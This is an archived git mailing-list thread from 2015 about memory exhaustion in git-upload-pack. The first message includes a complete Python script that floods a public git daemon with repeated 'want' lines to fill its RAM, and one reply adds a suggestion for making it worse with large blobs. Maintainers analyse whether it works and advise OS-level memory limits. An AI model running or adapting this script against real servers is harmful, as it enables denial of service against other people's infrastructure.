{"thread":{"id":"40895","subject":"arbitrary memory allocation","startedAt":"2015-11-26T04:06:35Z","lastAt":"2015-12-02T06:09:42Z","messageCount":4,"participants":["ytrezq@sdf-eu.org","Junio C Hamano","Stefan Beller","Jeff King"],"isPatch":false,"patchVersion":null,"patchTotal":null},"messages":[{"id":"273777","messageId":"1a012fc79a55cae8b948b28d1259be0c.squirrel@sdfeu.org","threadId":"40895","inReplyTo":null,"subject":"arbitrary memory allocation","fromName":"","fromEmail":"ytrezq@sdf-eu.org","sentAt":"2015-11-26T04:06:35Z","receivedAt":"2015-11-26T04:06:35Z","isPatch":false,"sender":{"key":"ytrezq@sdf-eu.org","avatar":null},"body":"Hello,\n\nFirst, something I still don t understand, should I always ulimit ram\nusage for security purposes when I m manage a public server?\n\nIf not, you may find the attachment interesting\n\n#!/usr/bin/python\nfrom socket import *\nimport sys,time\nif len(sys.argv)!=3:\n\tprint \"Ok, it is not a real memory leak but it can be used against any public git server.\\nAn http version of this script would benefit from a large zlib compression ratio allowing to fill the ram 200 time faster like with ssh\"\n\tprint \"\"\n\tprint \"usage\"\n\tprint \"argv1 is the target domain name or address\"\n\tprint \"argv2 is the path to a non empty repo with at least 2 refs\"\n\tprint \"\"\n\tprint \"for example git://somesite.com/git/linux.git would become\"\n\tprint sys.argv[0] + \" somesite.com /git/linux.git\"\n\texit(1)\n\nsockobj = socket(AF_INET, SOCK_STREAM)\nsockobj.connect((sys.argv[1],9418))\npath=\"git-upload-pack \"+sys.argv[2]+\"\\0host=\"+sys.argv[1]+'\\0' # request a clone\nsockobj.send(format(len(path)+4,'04x')+path) # see the git documentation for more information about the pkt-line format\n\n# Even when blocking, socket.recv might not send the complete request size\ndef full_read(length):\n\tbuf=sockobj.recv(length)\n\tsize=length-len(buf)\n\twhile size>0:\n\t\ttime.sleep(0.001) # wait for data to arrive\n\t\tbuf+=sockobj.recv(size)\n\t\tsize=size-len(buf)\n\treturn buf\n\nobj=[full_read(int(full_read(4),16)-4)]\npkt_line_length=int(sockobj.recv(4),16)-4 # represent the lenght of a packet in pkt-line format (in hex on 4 ascii bytes)\nwhile pkt_line_length>0:\n\tobj.append(full_read(pkt_line_length))\n\tpkt_line_length=int(full_read(4),16)-4\n\tif sys.getsizeof(obj)>150000: # Don t do the same error of the official git project, limit our ram usage\n\t\ttime.sleep(1)\n\t\tsockobj.recv(10000) # be sure git-upload-pack would be ready for recieving\n\t\tbreak\n\nfirst_line=\"want \"+obj[0][:40]+\" multi_ack_detailed side-band-64k thin-pack ofs-delta agent=git/2.9.2\\n\" # The first line have a different format\nsockobj.send(format(len(first_line)+4,'04x')+first_line) # send it in the pkt-line format\n\nline_list=\"0032want \"+obj[1][:40]+'\\n'\nwhile len(line_list)<65430: # Get the ideal tcp packet size for fastest bandwidth (64Ko)\n\tfor i in obj:\n\t\tif (i==obj[0]) or (i==obj[1]) or (\"pull\" in i):\n\t\t\tcontinue\n\t\tline_list+=\"0032want \"+i[:40]+'\\n'\n\t\tif len(line_list)>65480:\n\t\t\tbreak\n\n\n# struct object (see object.h line 47)\n# unsigned int\n# unsigned int\n# unsigned int\n# unsigned int\n# unsigned char binary_sha[20]\n\n# objects=object +\n# char *=NULL (64 bit int)\n# char *=NULL (64 bit int)\n# unsigned mode\nline_list_len=line_list.count('\\n')*56 # Line lengths of the pkt-line format won t fill the ram, so remove them from the size counter\ncount=line_list_len\nwhile True:\n\tsys.stdout.flush()\n\tsockobj.send(line_list) # for each line, the git-send-pack process allocate append a member to a struct objects array\n\tprint(\"\\r%.2f Mo of ram filled\" % float(count/float(1048576))),\n\tcount+=line_list_len"},{"id":"273848","messageId":"xmqqmvtv6n0b.fsf@gitster.mtv.corp.google.com","threadId":"40895","inReplyTo":"1a012fc79a55cae8b948b28d1259be0c.squirrel@sdfeu.org","subject":"Re: arbitrary memory allocation","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2015-12-01T00:17:08Z","receivedAt":"2015-12-01T00:17:08Z","isPatch":false,"sender":{"key":"gitster@pobox.com","avatar":"https://avatars.githubusercontent.com/u/54884?v=4"},"body":"ytrezq@sdf-eu.org writes:\n\n> line_list=\"0032want \"+obj[1][:40]+'\\n'\n> while len(line_list)<65430: # Get the ideal tcp packet size for fastest bandwidth (64Ko)\n> \tfor i in obj:\n> \t\tif (i==obj[0]) or (i==obj[1]) or (\"pull\" in i):\n> \t\t\tcontinue\n> \t\tline_list+=\"0032want \"+i[:40]+'\\n'\n> \t\tif len(line_list)>65480:\n> \t\t\tbreak\n> ...\n> line_list_len=line_list.count('\\n')*56 # Line lengths of the pkt-line format won t fill the ram, so remove them from the size counter\n> count=line_list_len\n> while True:\n> \tsys.stdout.flush()\n> \tsockobj.send(line_list) # for each line, the git-send-pack process allocate append a member to a struct objects array\n> \tprint(\"\\r%.2f Mo of ram filled\" % float(count/float(1048576))),\n> \tcount+=line_list_len\n\nThis seems to be attempting to throw \"want XXXXXXXX\" that are\noutside the original server-side advertisement over and over.  Even\nthough the set of distinct \"want\" lines you can throw at the server\nis bounded by the server-side advertisement (i.e. usually you won't\nbe able to throw an object name that does not appear at the tip), by\nrepeating the requests, you seem to be hoping that you can exhaust\nthe object_array() used in upload-pack.c::receive_needs().\n\nBut does that attack actually work?  After seeing these \"want\"\nlines, the object name read from there goes through this code:\n\n\t\to = parse_object(sha1_buf);\n\t\tif (!o)\n\t\t\tdie(\"git upload-pack: not our ref %s\",\n\t\t\t    sha1_to_hex(sha1_buf));\n\t\tif (!(o->flags & WANTED)) {\n\t\t\to->flags |= WANTED;\n\t\t\tif (!is_our_ref(o))\n\t\t\t\thas_non_tip = 1;\n\t\t\tadd_object_array(o, NULL, &want_obj);\n\t\t}\n\nSo it appears to me that the requests the code makes in the second\nand subsequent iterations of \"while True:\" loop would merely be an\nexpensive no-op, without bloating memory footprint.\n\nIt does waste CPU cycle and network socket, though.\n"},{"id":"273851","messageId":"CAGZ79kaqSOeK4E6+yKLCP63bK6Fd4XmP=8XcMqMqP_fMLTsbAA@mail.gmail.com","threadId":"40895","inReplyTo":"xmqqmvtv6n0b.fsf@gitster.mtv.corp.google.com","subject":"Re: arbitrary memory allocation","fromName":"Stefan Beller","fromEmail":"sbeller@google.com","sentAt":"2015-12-01T01:03:51Z","receivedAt":"2015-12-01T01:03:51Z","isPatch":false,"sender":{"key":"stefanbeller@gmail.com","avatar":"https://avatars.githubusercontent.com/u/455868?v=4"},"body":"On Mon, Nov 30, 2015 at 4:17 PM, Junio C Hamano <gitster@pobox.com> wrote:\n> ytrezq@sdf-eu.org writes:\n>\n>> line_list=\"0032want \"+obj[1][:40]+'\\n'\n>> while len(line_list)<65430: # Get the ideal tcp packet size for fastest bandwidth (64Ko)\n>>       for i in obj:\n>>               if (i==obj[0]) or (i==obj[1]) or (\"pull\" in i):\n>>                       continue\n>>               line_list+=\"0032want \"+i[:40]+'\\n'\n>>               if len(line_list)>65480:\n>>                       break\n>> ...\n>> line_list_len=line_list.count('\\n')*56 # Line lengths of the pkt-line format won t fill the ram, so remove them from the size counter\n>> count=line_list_len\n>> while True:\n>>       sys.stdout.flush()\n>>       sockobj.send(line_list) # for each line, the git-send-pack process allocate append a member to a struct objects array\n>>       print(\"\\r%.2f Mo of ram filled\" % float(count/float(1048576))),\n>>       count+=line_list_len\n>\n> This seems to be attempting to throw \"want XXXXXXXX\" that are\n> outside the original server-side advertisement over and over.  Even\n> though the set of distinct \"want\" lines you can throw at the server\n> is bounded by the server-side advertisement (i.e. usually you won't\n> be able to throw an object name that does not appear at the tip), by\n> repeating the requests, you seem to be hoping that you can exhaust\n> the object_array() used in upload-pack.c::receive_needs().\n>\n> But does that attack actually work?  After seeing these \"want\"\n> lines, the object name read from there goes through this code:\n>\n>                 o = parse_object(sha1_buf);\n>                 if (!o)\n>                         die(\"git upload-pack: not our ref %s\",\n>                             sha1_to_hex(sha1_buf));\n>                 if (!(o->flags & WANTED)) {\n>                         o->flags |= WANTED;\n>                         if (!is_our_ref(o))\n>                                 has_non_tip = 1;\n>                         add_object_array(o, NULL, &want_obj);\n\n(Looking quickly), I do not see a deduplication in add_object_array,\nso you could send the same want line again and again,\nto inflate the want_obj array.\n\nIf you happen to know a large object in a well known project\n(some linux blob maybe?), it would be held a lots of times in memory,\nwhich may trigger the OOM killer in linux?\n\n>                 }\n>\n> So it appears to me that the requests the code makes in the second\n> and subsequent iterations of \"while True:\" loop would merely be an\n> expensive no-op, without bloating memory footprint.\n>\n> It does waste CPU cycle and network socket, though.\n>\n> --\n> To unsubscribe from this list: send the line \"unsubscribe git\" in\n> the body of a message to majordomo@vger.kernel.org\n> More majordomo info at  http://vger.kernel.org/majordomo-info.html\n"},{"id":"273901","messageId":"20151202060942.GA8212@sigill.intra.peff.net","threadId":"40895","inReplyTo":"1a012fc79a55cae8b948b28d1259be0c.squirrel@sdfeu.org","subject":"Re: arbitrary memory allocation","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2015-12-02T06:09:42Z","receivedAt":"2015-12-02T06:09:42Z","isPatch":false,"sender":{"key":"peff@peff.net","avatar":"https://avatars.githubusercontent.com/u/45925?v=4"},"body":"On Thu, Nov 26, 2015 at 05:06:35AM +0100, ytrezq@sdf-eu.org wrote:\n\n> First, something I still don t understand, should I always ulimit ram\n> usage for security purposes when I m manage a public server?\n\nYou didn't define \"public\" here. For serving fetches, the memory tends\nto be fairly bounded and dependent on the repo you're serving. For\naccepting pushes, it's trivial to convince the server to allocate a lot\nof memory (you can send an unbounded set of ref updates, or you can\nsimply send a 50GB object that compresses down to a tiny size).\n\nGit does not have any internal memory controls, and will generally rely\non malloc() to tell it when it is not being reasonable. I'd suggest\nusing OS-level memory controls like cgroups if you're hosting something\npublic.\n\n-Peff\n"}]}